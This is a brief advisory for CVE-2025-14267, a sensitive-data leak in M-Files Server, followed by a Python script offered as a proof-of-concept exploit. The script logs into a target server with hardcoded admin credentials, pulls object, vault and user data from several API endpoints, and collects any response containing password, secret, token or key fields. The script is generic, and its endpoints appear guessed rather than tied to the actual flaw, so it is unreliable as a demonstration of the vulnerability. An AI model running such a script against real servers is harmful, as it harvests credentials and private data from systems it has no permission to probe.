Incomplete removal of sensitive information before transfer vulnerability in M-Files Corporation M-Files Server allows data leak exposure affecting versions before 25.12.15491.7
The following code is for security research and authorized testing only.
python
# CVE-2025-14267 PoC - M-Files Server Sensitive Data Leak
# Requires high-privilege account credentials
import requests
import json
TARGET_HOST = "https://vulnerable-mfiles-server.com"
USERNAME = "admin"
PASSWORD = "password"
def exploit_cve_2025_14267():
"""Test for incomplete removal of sensitive information"""
# Authenticate to M-Files Server
session = requests.Session()
auth_data = {
"username": USERNAME,
"password": PASSWORD
}
# Login request
login_url = f"{TARGET_HOST}/MFiles/UI/Token"
response = session.post(login_url, json=auth_data)
if response.status_code != 200:
print("[-] Authentication failed")
return None
# Request data that should have sensitive info removed
api_endpoints = [
"/MFiles/API/v1/objects",
"/MFiles/API/v1/vaults",
"/MFiles/API/v1/users"
]
leaked_data = []
for endpoint in api_endpoints:
url = f"{TARGET_HOST}{endpoint}"
resp = session.get(url)
if resp.status_code == 200:
data = resp.json()
# Check for sensitive fields that should have been removed
if any(field in str(data) for field in ["password", "secret", "token", "key"]):
leaked_data.append({
"endpoint": endpoint,
"data": data
})
print(f"[+] Potential data leak detected at {endpoint}")
return leaked_data
if __name__ == "__main__":
print("CVE-2025-14267 M-Files Server Data Leak Test")
result = exploit_cve_2025_14267()
if result:
print(f"[!] Sensitive data exposed: {json.dumps(result, indent=2)}")
else:
print("[*] No obvious data leak detected")